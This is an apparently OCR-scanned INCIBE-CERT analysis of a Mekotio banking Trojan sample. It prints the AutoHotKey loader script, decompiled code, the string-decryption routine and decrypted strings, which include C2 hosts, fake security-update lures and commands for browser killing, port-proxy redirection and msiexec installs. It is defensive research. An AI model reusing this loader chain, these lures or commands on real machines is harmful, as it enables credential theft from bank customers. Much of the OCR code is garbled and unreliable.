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1. About this study

This study contains a detailed technical report prepared after analysing a sample of
malicious code identified on VirusTotal as belonging to the Mekotio family and whose main
purpose is to identify the actions it carries out, by performing an advanced analysis of the
sample, using the set of tools used by the team of analysts.

The actions carried out in preparing it comprise a static and dynamic analysis within a
controlled environment. It should be highlighted that the sample analysed had already been
uploaded in advance to the VirusTotal platform, which makes it published and accessible
to any analyst who has a page account on said platform.

This study is aimed in general at IT and cybersecurity professionals, researchers and
technical analysts interested in the analysis and investigation of this type of threats, as well
as at system and IT network administrators in order that they keep their machines up-to-
date and secure against this threat. It may also be of special interest to those who use
online banking services or cryptocurrencies.

Regarding the methodology followed, the reversing tasks were performed out with x64dbg,
IDA and IDR.
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2. Organisation of the document

This document consists of 3.- Introduction, which sets out the threat represented by the
malware family Mekotio, to which victims it is sent, its development over time and the modus
operandi followed by cybercriminals using it.

Section 4.- Technical report then sets out results of the dynamic and static analysis of the
Mekotio sample that has been analysed, beginning with how to obtain the information that
contains the file that is going to be used, the capabilities of the malware and its actions, to
its anti-detection, anti-reverse-engineering and persistence techniques.

Finally, section 5.- Conclusion, groups the most important aspects discussed over the
course of the study.

The document also contains two appendices. Appendix 1: Indicators of Compromise (I0C)
shows an IOC rule prepared to detect this specific sample, and Appendix 2: Yara rules
shows a Yara rule created exclusively to detect samples related to this campaign.
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3. Introduction

The malicious code Mekotio, also known as BestaFera, is a serious threat to all users who
use online banking services or cryptocurrencies, specifically Bitcoins, since it is a banking
Trojan that affects all versions from Windows XP to Windows 10.

Mekotio was detected for the first time in March 2018 and, since then, its code and
functionalities have developed, but without every losing their focus on the main target,
online banking.

In its early stages of development, it was especially focused on Brazilian users or customers
of banks located in Brazil, but over time they have diversified, including countries such as
Chile, Mexico, Colombia, Argentina, Spain, etc., most of them Spanish-speaking.

The attackers’ ‘modus operandi’ is mainly focused on sending fraudulent emails with the
malicious file attached with which they seek to infect the machine. In order to evade possible
detections by antivirus applications, the running is divided into various files that, in turn, are
protected with different techniques that vary according to the sample.

Once the machine is infected, there are various functionalities responsible for analysing
each of the run windows in search for Internet browsers, in order to find the browsing
address and to check whether it is within its list of those affected. In the event of a
satisfactory conclusion, another function is run that is responsible for deceiving the user to
steal from him/her the access credentials and send them to the attacker's command and
control.

The following information has been obtained from VirusTotal, where the sample is
uploaded:

SHA256 NETE

9572a6e0d50bd67c35¢ch70653661719c6c8034254f55€4693cfbfafb2768c59¢  MUQFRYIRGO.dII

Table 1. Details of the malicious sample
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4. Technical report

The information obtained during the analysis of the sample is detailed below.

4.1. General information

The analysed file is a Windows library, which can be run using a loader. The sample’s
signature is as follows:

Algorithm Hash

MD5 a5e3285f76d05ae20274cff6d7084fe3
SHA1 6b215c986b7a48d80a093e44edd76008a316cch6
SHA256 9572a6e0d50bd67¢c35chb70653661719c6c8034254f55e4693cfbfafb2768c59¢

Table 2. Details of the sample of malicious code

To obtain more information about the files to be analysed, use the command file from Linux:

‘ PE32+ executable (DLL) (GUI) x86-64, for MS Windows

4.2. Summary of actions

The malicious code can do the following:

Load the DLL from an AutoHotKey script.

Function responsible for decrypting text strings.

Process of obtaining the operating system and architecture.
Method responsible for acquiring the installed antivirus.
Completion of processes associated with web browsers.

A random string generation algorithm.

Send information to the C&C.

Create a proxy to redirect requests.

Download information from the Internet to update the configuration.
Obtain the default browser.

Take control of the clipboard.

Detect windows associated with browsers (Internet Explorer, Firefox, Chrome, etc.).
Achieve persistence in the machine.

4.3. Detailed analysis

To initialise the code, it is necessary to run the only executable in the directory, which is a
legitimate file corresponding to a version of AutoHotKey. The script in plain text
(svshshots.ahk) and run thanks to the interpreter has the same name as the portable
AutoHotKey file (svshshots.exe).

MEKOTIO ANALYSIS STUDY TLP:WHITE
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|| GUSNHCPHIZLEN.vmp 10,/02/2021 17:56 Archivo VMP 2KB
1% MUGQFRYIRGO.dII 05/07/201911:41 Extension de la apl... 1.739 KB

EMSXBADMNIOOZ4SKEWYDBBZVIGGL..,  11/02/2021 11:27 Protector de pant... 13128 KB
|| swshshots.ahk 10/02,/2021 17:56 Archivo AHK 24 KB
m svshshots. exe 11/02/2021 11:27 Aplicacion 1171 KB

llustration 1. Run directory.

The file “svshshots.exe” is responsible for loading “MUQFRYIRGO.dII”, which contains the
malicious functionalities. The script checks the architecture (32bits or 64bits) and, on that
basis, loads a small section written in machine code into the memory. Finally, it changes
the region’s permissions to “PAGE_EXECUTE_READWRITE” to be run later.

if (!RDSUBVNRINNM)

I
L

MCode (RDS NRINNM, A Ptrs

llustration 2. The variables “x32” and “x64” with the machine code associated to each of the
architectures and call to the “MCode” function, responsible for changing the permissions of the
memory region.

After finishing the change of permissions, it calls the “DIICall” function to jump to the memory
address where the code is stored for the current architecture and with the permissions
necessary to run them. The following values are also sent by parameter:

®  “Ahk”: it contains the path to the portable AutoHotKey file.

®  “Args”: arguments sent during the running.

B “Base”. the base address to the Kernel32.dll library.

m  “&str’: the pointer to the variable containing the new AutoHotKey obfuscated in “s.

»="u565796926ul555740597ul259231568u2248437892ul075650729u73891"
L="8535u580985478u244256284u2301702346u65716102ul1592545690Tu3584"
L="437958ul853190642u206998627Tul 9576698680l 0188696TuE9E1945us"
L="59161525uT742963396u219484208u2900667299u4294799193u445906803"
L="u39E94556T6U2EE640479902099211758u3484071631u26960102343215™
L="372460u877777417Tu3208136539u969214390u2220154459255545851ul2"
»="T71036384u3401591673u2847636459u1686888743u3224557046u2066807"
L="085ul262368011ul919399332u1443182948u3171711458ul002528975ul"
L=T02T7E2723Tu30T908247Tu3l04577371u23945802150u2554184594u278655"
L="1998u2946737272u2266925573u59651283Tu3040892340u1371511803u2"
L="545932256u3961816234u855054256u122979428ul638185625u21725992"
L="2u1214713813u867202264ul777659418u3517716911u2110247264u26293"
»="25041u3958705517Tu2l111608422u3691848370ul843948458u3127630680"
L="ud517174220242142354001592404101u1441887688u986384645u346150"

L

W W W W W W W o W W W W W W

llustration 3. Content of the variable “s” observed from the AutoHotKey code.
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. “int”.
B sijze: the size of the content of the variable “str”.

After extracting the content of both variables and converting it to binary, it was verified that
both architectures share the same functionality, hence only the analysis of the 64-bit
version will be shown.

The loaded code contains only one function, within it the rest of the calls to API necessary
for it to operate properly are obtained, making use of the “GetProcAddress” library.

GetProcAddress = (kernel32_dll + v
strepy(WriteFile str, "WriteFile™);

WriteFile_ = GetProcAddress(kernel32 dll, WriteFile_str);
1 tr, "GlobalAllec™);

3);

wddress (kernel32_dl11, GlebalAlloc_str);
"GlobalFree");

H
ess(kernel32_dll, GlobalFree_str);
tr, "CreateProcessA™);

strepy(CreateProc
GlobalFree = Glo
CreateProcessA_ =
strcpy(CreateNamedPiped

Add

ress(kernel32_dll, CreateProcessA_str);
"CreateNamedPipeA™);

CreateProcessA = CreatePr 3

CreateNamedPipedA = GetProcAddress({kernel32_dll, CreateMamedPipeA_str);
strcpy(ConnectNamedPipe_str, "ConnectNamedPipe™);

CreateNamedPipeA = CreateNamedPipeA_;

ConnectNamedPipe_ getProcAddress(kernel32_dll, ConnectNamedPipe_str);

strepy(CloseHandle_str, "CloseHandle™);

ConnectNamedPipe nnectNamedPipe_;

CloseHandle = GetProcAddress(kernel32_dll, CloseHandle_str);
strcpy(QueryPerformanceCounter_str, "QueryPerformanceCounter”);

QueryPerformanceCounter = GetProcAddress(kernel32_dll, QueryPerformanceCounter_str);
strepy(lstreoat ry, "lstrcatd™);

lstrcatd = Ee:P':d%dd’ess(<e*nel32_dll, lstrcath str);

strepy(lstrlend_a, "lstrlenA™);

lstrlend = GetProcAddress(kernel32_dll, lstrlenA_a);

strecpy(Creater tr, "CreateFileA™);

CreateFiled tProcAddress(kernel32_dll, CreateFilef _str);

strcpy(ReadFile_str, "ReadFile");
ReadFile = GetProcAddress{kernel32_dll, ReadFile_str};

llustration 4. Code section responsible for dynamically obtaining the necessary functions.

The final aim is to decipher the content of the variable “s”, contained in the script, write it in
a virtual file and use the file as a parameter for a new run from “svshshots.exe” which will
be responsible for interpreting it and loading the malicious function of the file
‘MUQFRYIRGO.dII".

To use the virtual file, the “NamedPipe” functionality is used, whose “CreateNamedPipeA”
function is responsible for creating the object with the name added by parameter:

strepy(pipe_name, "\\\\.A\\pipe\\AHK12345678");

vd6, v45, vdd4, @i64);

llustration 5. Creation of the “NamedPipe”.

After the proper creation of the virtual file, the new process of generating AutoHotKey
continues, with the following parameters:

. “/f “

® name of the “NamedPipe”

MEKOTIO ANALYSIS STUDY 10 TLP:WHITE
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If the process is created satisfactorily, the decryption process begins with the new script:
if ( CreateProcessA(@isd, v32, @i64, @164, vel, ve3, Bi64, Bisd, &v95, &vo3) )

CloseHandle(w33);
CloseHandle(v34);
vse = @ied;

if ( a5 )

do

{
*(v32 + 4 * w5e) = *(v7 + 4 * v50);
+vsa;

while { a5 > vS@ };
w58 = 4i64 * a5;

¥

*(v32 + vse) = @;

11;

11;

13;

17;

@a;

19;

(1)

sz & 3;
w54 vE2++ + 131 F usl;
*(&uB5 + v53) = v5S4;
if ( ws52 == 188 )
break;
w51 = *(&uB5 + (vS2 & 3));
1
V55 = Bib4;
if ( a5 )

w85

w51

[ ST (R &

2
o
2
{7

LE]
2
&
h

[~
m

whi
{

w53

caonn

v55 & 3;

¥57 = V55 + 131 * *(&vB5 + v56);

*(&vE5 + v56) = v57;

w73 = __ROL4__(_ ROL4__(*(v32 + 4 * v55), 1) - w57, 1) - v57;
*(V32 + 4 * v55++) = v73;

nwcanon

while { a5 > w55 );

llustration 6. Process of creating the new process and decryption of the content of the new script.

Once the content is decrypted, the “ConnectNamedPipe” library is used to obtain the
“handler” heeded to be able to write the decrypted content in the virtual file:

cem——

; C e s
ConnectMamedPipe(v43, @isd);
CloseHandle(v43);
ConnectNamedPipe(v43, @ibd);
WriteFile(v48, w32, v3e, &/73, @i64);
CloseHandle(v48};

llustration 7. Writing the decrypted content in the virtual file.

The new AutoHotKey code is responsible for checking whether there is already any other
instance running and, should no other instance be found, it uses the internal “DIICall”
method to call the function “EQVOHXHNF89GP775AL0YG3TNO2EFCBS8E3V” of the file
‘“MUQFRYIRGO.dII.” Below, you can see the content loaded within the virtual file and
interpreted by the portable AutoHotKey file.

MEKOTIO ANALYSIS STUDY 11 TLP:WHITE
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Content of the variable "s" decrypted

ListLines, Off

OnlyOne()

OnlyOne(flag="") {
if (flag=""

EnvGet, file, My_ScriptFullPath

if RegExMatch(file, "i)\.(exe|com|scr|bat|cmd)\s*$")
Menu, Tray, Icon, %file%

SetWorkingDir, % RegExReplace(file, "\["\][*$")

flag:=file

}
DetectHiddenWindows, % (dhw:=A_DetectHiddenWindows) ? "On":"On"
hash:=0, Ptr:=(A_PtrSize ? "UPtr":"UInt")
Loop, Parse, flag

hash:=(hash*31+Asc(A_LoopField))&0xFFFFFFFF
Name:="Ahk_OnlyOne_" hash
While Mutex:=DIICall("OpenMutex","int",0x100000,"int",0,"str",Name)

DlICall("CloseHandle", Ptr,Mutex)
While WinExist("<<" flag ">> ahk_class AutoHotkey")

{
WinGet, pid, PID
WinClose,,, 3
IfWinExist

Process, Close, %pid%
Process, WaitClose, %pid%, 3
}
}

}

DlICall("CreateMutex", Ptr,0, "int",0, "str",Name)

IfEqual, A_LastError, 0xB7, ExitApp
pid:=DlICall("GetCurrentProcessld")

WinSetTitle, ahk_pid %pid% ahk_class AutoHotkey,, <<%flag%>>
DetectHiddenWindows, %dhw%

Reload(args="") {
global
Loop, %0%
args.=""" (%A _Index%) """
local file
EnvGet, file, My_ScriptFullPath
if (file="")
return
if RegExMatch(file, "i)\.(exe|com|scr|bat|cmd)\s*$")
Run, "%file%" /f %args%,, UseErrorLevel
else
Run, "%A_AhkPath%" /f "%file%" %args%,, UseErrorLevel
ExitApp
}
ListLines, On
#NoEnv
#NoTraylcon
#Singlelnstance off
SetWorkingDir %A_ScriptDir%
W1YVPO1XDCRNYBAQBOEPPXGDNNLL7 := "MUQFRYIRGO"
DlICallW1YVPO1XDCRNYB6AQBOEPPXGDNNLL7 . \EQVIHXHNF89GP775AL0YG3TNO2EFCB8E3V")

ExitApp
#Singlelnstance off

Table 3. Decrypted content of the variable “s”.

MEKOTIO ANALYSIS STUDY TLP:WHITE
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On the other hand, the files with the “vmp” and “src” extension are used by the malicious
code to achieve persistence within the machine and are not involved in any way in the
running process.

The analysis continues with the “MUQFRYIRGO.dII” file, which contains the malicious code.
The following image shows the export table containing for different functions, the last being
the main one:

Exported Functions [ 4 entries |

Offzet COrdinal Function RVA Mame RVA Mame

695028 1 6962598 729083 dbkFCallWrapperfddr

69502C 2 1CEED 720044 _ dblk_fcall_wrapper

695030 3 QEBDD 729085 TMethodImplementationlntercept

695034 4 5E57BO 720062 IEQWIHKHNFBQG PT73ALOYGITMOZEFC E»EE%‘.-"I

llustration 8. Table of exports.

To begin the analysis and due to the fact it is code developed in Embarcadero Delphi, the
IDR tool (Interactive Delphi Reconstructor) will be used, which makes it possible to
interpret the internal functions of the language.

sub Fsp,28

call 887495E8

nov rocy,rax

call 8a747BDB

call BA9E3638

nou rax,quord ptr [BRSEICAH]
mowv rcx,quword ptr [rax]
call BA729F58

nou rax,quord ptr [BASESCAH]
nov rax,qword ptr [rax]

mow byte ptr [rax+6D3],8
nou rax,quword ptr [BASESCAH]
nou rcx,quord ptr [rax]

nov rdx,quord ptr [9a0500]:|
mow ri,quord ptyr [BABEAZAT: TUar TEETRED i)
call 88729F880

nov rax,qword ptr [BASEYCH]
mow rcx,quword ptr [rax]
call ae72a178

add rsp,28

ret

llustration 9. Result of the main function with IDR.

In the previous image, six instructions of “call” type can be seen; it can be seen in the
memory addresses that are called that one of them is of the type 009XXXXX and the rest
are 0072XXXX. As the analysis was being performed, it was observed that the former type
is where much of the functionality developed by the attackers resides.

In the penultimate call, it can be seen that a pointer to an object with an obfuscated name
is being passed as an argument. Using the IDR tool, it is possible to observe a redirection
to a series of form-type objects.

MEKOTIO ANALYSIS STUDY 13 TLP:WHITE
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=-TForm #0070D968 Sz=6B8

i <E>

<u>

THessageForm H#88663398 Sz=6CH

TInputQueryForm #00665588 Sz=56C0

TUUDYGGQ30GF BBYLXNIUUKD27HHJQZKX VL) #00967A8B Sz=6DA
TQTU3IRISA3LGHPF3IS6Z29BHE7MOMOZ1KTC7AKLFA HAB96B48A Sz=770
TEUVLETOADPBE3J(J3OBYPKZOSHD #BO96ABS5E S5z=7D0
TDLEBIFH2FZ22U0801GJZ2LH41 4XHHOXETIUZE2ZHCWTWR HAB97BASA 5z=758
TWY4Z2PSUUBGBHTZDS7WOIKFOSMDFEEUARZOBM #0097D488 3z=748
TEBHDYCHPSDKUQYD7O7B57UXBWUBGFD #0097F130 Sz=748
TIUSBGROMZ3UCHS1DT70UXSB763B70NI B2TAVY HAG9BBBF B Sz=6D8
TRJUKKZS7DFDEBSUDRHLE7BAXWSDPBSLULYL #00981980 S5z=720
THXHBZ3YPKJHS1PS9O7LTHEF BHJUZJLFUOQN #08983198 5z=720
TIBUASHAC B4M6Z0TSZAENAJUGKIHMPKLL BG2BHHK HOA984788 Sz=6ER
TXSKUWTHWKHEBCBOIAZYYESREDSSYU #008985568 5z=728
-TBYIRXYUFXAUSYGIIQETILLFOQKIVULMEZHOH #80986F4A 5z=938
TDEMBSUBRB1HVEPHO7KBZXY618Q3YHP7H2 #O09BDAD G 5z=9D8

- TYMKEZMSLAYHH1 I4FBUMLMILROHZ1XY [ BBUH #80997918 3z=768
-TEQS0308MLMEQXHETSRO1FRTZYE62IJLUPFU2ZDI0 #08999BFA Sz=758
TOBXUON7SAIMMF6JUIFBEOT7YEBBMZ74JIEQSQWKXEC #0099BB8A 3z=7D0
TYJK7UKABHUBHSHBUOCLIBAEDFRQOO3TE020PUKSOK #O099ECFA 3z=768
TXXKRUDT7WI921KP1RFXJBEBHMYESLJGEIS #009ABF B0 5z=750
TTXIBLCWO2ULKUDPHLJSHASBASYWRPY #009A3440 5z=880
TUM2I54PJRHOBLSTHIKFDAXSLELAZFUJEQE HOB9A26CA SZ=G6EQ
-TELHEABHRPUT26GUNDS7KCWL1ISXSG6UGE HOA9AASDA Sz=7A8

llustration 10. Form-type objects listed with the IDR.

Each of these forms is associated with series of functions, which can be viewed by
expanding the drop-down menu. The result is similar to the following:

£ TELNERBHRPUT36GUNDS7KCUL1ISXS6U68 HOBYAASDO Sz=7A8
- <E>
. #809B1548 TKLHEABHRPUT36GUNDS7KCWL1ISKS6UAS . COX7HLY SRXXDUDYKIUYLI82L GS49Disconnect
- #009B1598 TKLHEABHRPUT36GUNDS7KCHWL1ISXS6U6S . COX7HLY SRXXDUDYKI4YLI82L GSA9ErFor
- #B09B15F8 TKLHEABHRPUT36GUNDS7KCWL1ISKS6U6S . COX7HLY 3REXDUDYK34YLI82LGS49Connect
- #B09B17F 8 TKLHEABHRPUT36GUNDSZKCWL1ISXS6U6S . WIRTSXALB30JCCOEVEGBTGPGBAZCGRIALXUTABAErFor
.. #809B2C58 TKLHEABHRPUT36GUNDS7KCWL1ISXS6U6S . WIRTSXALB30JCCOEVERBT6PGBAZCGRIALXUTL B4R ad
- #B09B35A0 TKLMEABHRPUT36GUNDS7KCWL1ISXS6UGS. COXZHLYSRXEDUDYKILYLIB2L GSA9Read
- #009CDO58 TKLHEABHRPUT3G6GUNDSFKCWL1ISXS6U6S . WIRTSXOLB20JCC OEVEGBT6PGBAZC6RI OLXUTABACONNECE
. #B09CD3FA TKLHEABHRPUT36GUNDSZKCWL1ISXS6UAS . YRSNNNZ TSATQIYS22UY9FKEAPHPFREVODS BNTL36Eror
- #009CD4AA TKLHEABHRPUT36GUNDS7KCHLISXS6U6S . YRSNNNZ TSATOIY822UY9FKEAPHPFREVQDS BNTL36ConneCt

- QIY822UY9FKGAPHPFRXVQDS BNTL36Read
-{#OB9E1F88 TKLNEABHRPUT36GUNDSZKCWLAISXS6U68.FormCreate

- #0B9CDAHCH TKLNEABHRPUT36GUNDSFKCWL1ISKS6UG8 . .FormClose

- #889DB558 TKLHEABHRPUT36GUNDSZKCWLAISXS6U6E . ANBFRSGX BH7BPUWI BEVLINCYHFEUSB2Timer

- #089DB578 TKLNEABHRPUT36GUNDSZKCWL1ISX36U68 .. FormShow

.. #889DB5A8 TKLHEABHRPUT36GUNDSZKCWL1ISXS6UGE .DBPEXXGXCUVUXS3UBEDB2Y3SLUA1ZKM3RC1JZHT imer

llustration 11. Internal functions of the form with the IDR.

The names of the majority of the functions are obfuscated, but in some of them, at the very
end of the name, there is a word that describes their functionality. Those ending in
“Connect”, “Disconnect”, “Error” and “Read” correspond to the functions responsible for
managing the communication with the command-and-control server. Those ending in
“Timer” are, as their name suggests, Timers defined for an object in a period of time. Finally,
the function “FormCreate” responsible for running the object Form is observed.

Once the function “FormCreate”, which could be considered the program’s main code, has
been extracted, the knowledge is transferred to the IDA tool, with which the analysis will
continue.
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INSTITUTO NACIONAL DE CIBERSEGURIDAD

mov rcx, [rbptarg_e]
lea rdx, [rbp+var_sl178]
call sub_9AF918

lea rcx, gword B1FC@e
mov rdx, [rbptvar_s178]
call sub_412748

mav rax, cs:off_ ABEGES
mov byte ptr [rax], 1
mov cs:byte BLFBCE, @
lea rcx, [rbptvar_sl168]
lea rdx, aE5128815242152 ; "ES5128815242152F7@F122745DD62EF73"
call sub_ 94E4E@

lea rcx, [rbp+var_s16@]
mov rdx, [rbp+var_sl68]
call sub_413CB8

mov rcx, [rbp+arg_@]
lea rdx, [rbp+var_s17@]
mov r8, [rbp+var_s16@]
call sub_9AFCRE

lea rcx, gword_B1lFCES
mov rdx, [rbp+var_sl17@8]
lea rd, gqword_YE2FGE
call sub_413FD8

lea rcx, [rbp+var_sl158]
lea rdx, a73eeBccl6?_@ ; "73EERCCLET"

call sub_ 94E4E@

llustration 12. Section of code from the “FormCreate” extracted with IDA.

In the previous image, various references are seen to text strings that appear obfuscated.
It is also observed that, after each reference to a string, the same function is referred to
using the name “sub_94E4EQ”. Once inside that function, several transformations are
observed with internal Delphi methods and a call to another function:

vars3e[e] = aied;

vars2i = 8i6d;

vars3e[1l] = (__inte4)& &;
UstrFromLstr(&vars25, al);

sub 94E2DA(vars38, vars28);
LstrFromUstr{al, vars3e[@], @isd)};
UstrarrayClear(&vars28, 2ied);
return al;

llustration 13. Decompiled code of the function “sub_94E4EQ”.

Inside the subroutine “sub_94E2D0” is the code responsible deciphering each character
string you provide to the function. Below, one can see the first part of the code:
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$incibe_ (@) o ¢incibe-cert_

INSTITUTO NACIONAL DE CIBERSEGURIDAD

loc_94E35C:
xor eszi, esi
lea rcx, [rbptvar_s4e]
mov rdx, [rbptcipher_str] ; String cifrada
mov rad, 1 ; Indice de 1a string
mov rod, 2 ; Mimero de caracteres a leer
call get_substr
lea rcx, [rbptvar_s4d]
lea rdx, dword_94£4D4
mov r8, [rbpt+var_s48]
call @ustrcats
mov rex, [rbptvar_s4g]
call hex_from_ascii
mov edi, eax ; Almacena en EDI el sustraendo del SUB
mov rl3d, 3 ; Mueve el indice 2 posiciones
P
loc_94E39F:
lea rex, [rbptvar_s3@]
mov rdx, [rbp+cipher_str] ; String cifrada
mov réd, rl3d ; Indice actual
mov rod, 2 3 Nimero de caracteres a leer
call get_substr
lea rex, [rbptvar_s38]
lea rdx, dword_94E4D4
mov rg, [rbptvar_s38]
call @ustrCat3
mov rex, [rbptvar_s38]
call hex_from_ascii
mov rldd, eax ; Almacena en EAX el primer operando del XOR
cmp esi, ebx ; Comprueba si se ha llegade al final de la clave
jge short loc_ 94E3E1
L] i ¥
il i = il e [
add esi, 1
jmp short loc_94E3E6 ; Clave loc_94E3EL:
T mov esi, 1

llustration 14. First stage of the decryption algorithm.

In the previous image, it can be seen that, for each string supplied to the routine, the code
extracts the first four characters and transforms them into two variables, taking them in
hexadecimal format.

For example, if the string “73EEOCC167” were to be sent, the result would be as follows:

B Varl=0x73.
B Var2=0xEE.

It then continues with an XOR operation with the character of the key indicated by the index,
in hexadecimal, and the pair of characters of the key that were previously stored in “Var2”.
The next step that is observed is a subtraction between the result of the previous operation
and EDI, with the peculiarity that, if the result is negative, it converts it into a positive result.
Finally, it concatenates the result, updates the index and repeats the operations until it has
traversed the whole string.
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incibe-cert_

Yy
P
loc_94E3E6: 3 Clave
mov rax, cs:off_A8F23e
mov rax, [rax]
movsxd reox, esi ; Indice de la clave
movzx  eax, word ptr [raxtrex®2-2] ; Caracter (hex) de la Clave
mov ecx, rlad ; Par de caracteres de la String
xor ecx, eax
mov eax, ecx
cmp eax, edi ; Comprueba que el resultado del SUB nc sea negative
jg short loc_94E40D
L ] - Y
il e = FEE]
sub eax, edi
add eax, @FFh ; Convierte el resultado a positive loc_94E4@D:
jmp short loc_94E48F sub eax, edi

Yy

]

loc_94E48F:

lea rcx, [rbptvar_s28]
mov edx, eax

call sub_413BB@

lea rcx, [rbp+decipher_str]
mov rdx, [rbpt+var_s28]
call sub_413Fee

mov edi, rid4d

add rl3d, 2

xor eax, eax

mov rcx, [rbptcipher_str]
test rex, rox

jz short loc_94E43F

; Concatena el char descifrade

; Almacena la cadena descifrada

3 Mueve el indice 2 posicicnes

loc_94E43F:

cmp
jl

rl3d, eax
loc_94E33F

llustration 15. Second stage of the decryption algorithm.

The result for the above example is the transformation from “73EE0CC167” to “hktg”.

Once the algorithm has been applied to each of the encrypted texts and the Delphi functions

have been renamed, the code becomes much clearer and easy to analyse.
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lea rcx, qword_B2@aD8

lea rdx, unk_9E2D@8 ; EQVIHXHNFE9GP77SALBYG3TNOZEFCBBE3V
call @Ustrasig

lea rcx, qword_BLFC98

lea rdx, a5ef33ef32a3255 ; http://htserverths.westus2.cloudapp.azure.com/?oriudfjdfijas
call @ustrasig

lea rcx, gqword_BLFCAS

lea rdx, a51fled3lesladd ; sicweb.servegame.com
call @ustrasig

lea rcx, qword_B1FCBS

lea rdx, aB48d9B83T7 ; 4926
call @ustrasig

lea rcx, qword_BLlFCCE

lea rdx, af6e84b3e253abd ; 744-GOD3--82-82 (Version)
call @ustrasig

mov rcx, cs:qword_B1FEG®

mov edx, 6Dh ; 'm’

call TimeToProcessMessages

mov rcx, [rbp+arg_@]

lea rdx, [rbp+var_s18@]

mov r8d, @Dh

call Randomstr

lea rcx, qword_BLFC3@

mov rdx, [rbp+var_s188]

call @ustrasig

mov rcx, [rbp+arg_@]

lea rdx, [rbp+var_s178]

call Computeriame

lea rcx, gqword_BlFCea

mov rdx, [rbp+var_s178]

call @ustrasig

mov rax, cs:off ABEGB3

mov byte ptr [rax], 1

mov cs:byte_B1FBCS, @

lea rcx, [rbp+var_s168]

lea rdx, aE5128815242152 ; ALLUSERSPROFILE
call DecodesStr

lea rcx, [rbp+var_s16@]

mov rdx, [rbp+var_s168]

call @UstrFromLStr

mov rcx, [rbp+arg_@]

lea rdx, [rbp+var_s17@]

mov r8, [rbptvar_sle@]

call ExpandVar

lea rcx, gqword_BLFCES

mov rdx, [rbp+var_s17@]

lea r8, gword_9E2F68 ; \

call @ustriats

lea rcx, [rbp+var_s158]

lea rdx, a73eeBccle?_@ ; hktg
call DecodeStr

llustration 16. Function visualised in IDA after decryption of the strings and the renaming of the
routines.

After decoding all the strings stored within the sample, it was possible to identify the most
relevant ones:
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s incibe_ @) < s incibe-cert_

INSTITUTO NACIONAL DE CIBERSEGURIDAD

Encrypted string Decoding

67889C4D8B88D91FD1769A3337D9133E

VBoxService.exe

71F1022AC15088A791B866E1 SbieDIl.dll
EE669E47E11149EA5D8CBB1B dbghelp.dll
7CF03237D263EC072AC276F53EE61BC667E3 IsDebuggerPresent

92DD15C67EB228D87EA14587F120D4B24691A73FFF5CC7CCAF

Verificando su acceso...

76FD35EA1ADB0924CC71D2708A45ED112D758ADDB01731A14282BC739C32
3069D1

Revisando plugin de
seguridad...

88EEOEC07BB610220627CFDC062ED40C2CAD4190B9EA025E84D36086B326
C21BD37191383259D6

Sistema de seguridad
desactualizado...

274F92F31B28A84DEALACO083FE71039F52EC00637AB86D2140232F520A04
059C1AB

Su actualizacién esta
en curso...

42B34F83A85CFA31D6082FAD9BB95C965E87A038FF52F85B9F3833012E925
38F44ED4A86A0F9369432DEOCC70267CFB7

Descargando
actualizacion, espere un
momento...

E70424D60530A85983AA594AEE21C7788B93A739E0658BCE6DD16495B615D
3371132E16B84CF64B51BC0A14882B844F8588C8F88EQ

Instalando nueva
actualizacion, espere un
momento...

A9C76088A559FC21051FC3180D2BD60535AE419E

Inicio MagCallback

9A27C674AF419A5C8B88A737F520C2629C3DFF41F866953CFE45F60839955
CB9

winmgmts:\localhost\ro
ot\cimv2

254DC450DB49A99A99B76BECO002ADI9BF549EBE3E13598FC4A2E21536EE67
89DD1439E3729132F4588DB3

SELECT Caption
FROM
Win32_OperatingSyste
m

Control
F8092EDD1CDB7CBBIFA24786BD6FBABBBFOB25ABS6F51FAFEDBAIISBIAD | ol i b window
46AE91AC76FDB :

Metrics
OF6583B251EC669999A4AE AppliedDPI
98C143D354FE62F007011E5897BF73A44A81B41B3AA24196AF29F739116C90 WagmARE\M'”OSO“\
DB598AB81223A84C93C872A4498DACS3 .

NT\CurrentVersion\
51945181AB77EE303AD6075F ProductName

255D84B7649F3AFD1038E96E81B565

CurrentVersion

8EE40C3FFF339559DF18C21CD6

CurrentBuild

EB6086A85692CC6588E5568FAD669847F95090

ipconfig /flushdns

73D46CA15B9581B96CAD50F10E2ACC74C60F2DAD6FEC12B864EBSBEE1B4
C3C85FF30DB6BCBD26EEG66A97BD6BEE0921DF28

netsh interface
portproxy add v4tov4
listenport=

A9FC36E41DDD7789B967953BF972 connectport=
277283B36C8CC57AAA41E678BC679B49D4 connectaddress=
7593938BF77E989B8DF3 127.0.0.1

7BDC14C9738D9950FA22C4043CD87DA4963FFD42FB5F9C35F84433C563FC
3291B0944FBA7BD31B7E

netsh interface
portproxy delete v4tov4

1C4DE2133931A142E1

\god.doc

71E1193C12174E3DEE2FDB72BC678BED4F80F324

cmd /c msiexec /i "

3C6BDD4CF33460DCOF33E67FA45CFC29CF

/gn /norestart

F57CB74AFC24AC42F520CD2DC976AD51EF6D87DE

SeShutdownPrivilege

2DA35F9649E3678AAB94BA0033 iexplore.exe
6BE418CB7FB317DC4FF931A5 firefox.exe
F66F81B26C8FC0BD6792B4 chrome.exe
4A82A348E21CB5B05287AF msedge.exe
1DB97CA05DE823DB1038 opera.exe
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E1031224213AB757E745374E38222A310354EA518CCB76D162A65B81AE

TASKKILL /F /IM

iexplore.exe
C02037CB59F20807177AEA0274E671F84BIBAD12CC0923689827DB Iﬁ‘gﬂ;’ 'é)L( e’ F /M
C52F2638CDAFACABB39ESEE75ECS53E65583BF0028BD60E1459C42F5 ;TQ?OT(K;)IZI(; IF M

7888A081A84A8ABC984BF954EF1BCE78CA012371AC2FDE7DBF19DBA94384
B91FC56FA52BC4C9B818B763C26EFA26CF081DCD0948FB2BD161B5709544
27A85C8BAE52D2

En este momento no
podemos atenderle, por
favor intente mas tarde.

81E11CC06399CC72A04F8BD1163F

Shell_TrayWnd

20599E533DF76DB26694F75296B86A8S9AE28DF7DBDEE2FA74355E90A25A74
A8BBG65E963FE62A1BBA1AC5A44C98589D5A4FF357FE32E1182B7FBE70984
CO9E5AFA28DA1278

Los datos ingresados
son incorrectos, por
favor intente
nuevamente.

48A543EE1E1C081EC87298CAGE984D2BF2592ABF62F51240FA2DC7659A39
094BF224DD7380DA15B5147DA041549F48E36791C71ED70021D9CD6D8SAB1
5043EF14C16D83DC1COECAD90050EB79BC7EA43DE77EB692428EFAGGIE2
3A35A8CB2122CF82265

Hola, Enviamos un
cédigo como simulacion
de transaccién para
validar y sincronizar su
dispositivo.

2643E4167888DD0732E955463030DF46FB658BC8A539D3CAG9E8196BI9F3CF
F173DDA0B43E23AFC5384BB9A409A5923DC739132AE42F128DB7BE6G

Por favor, En caso de
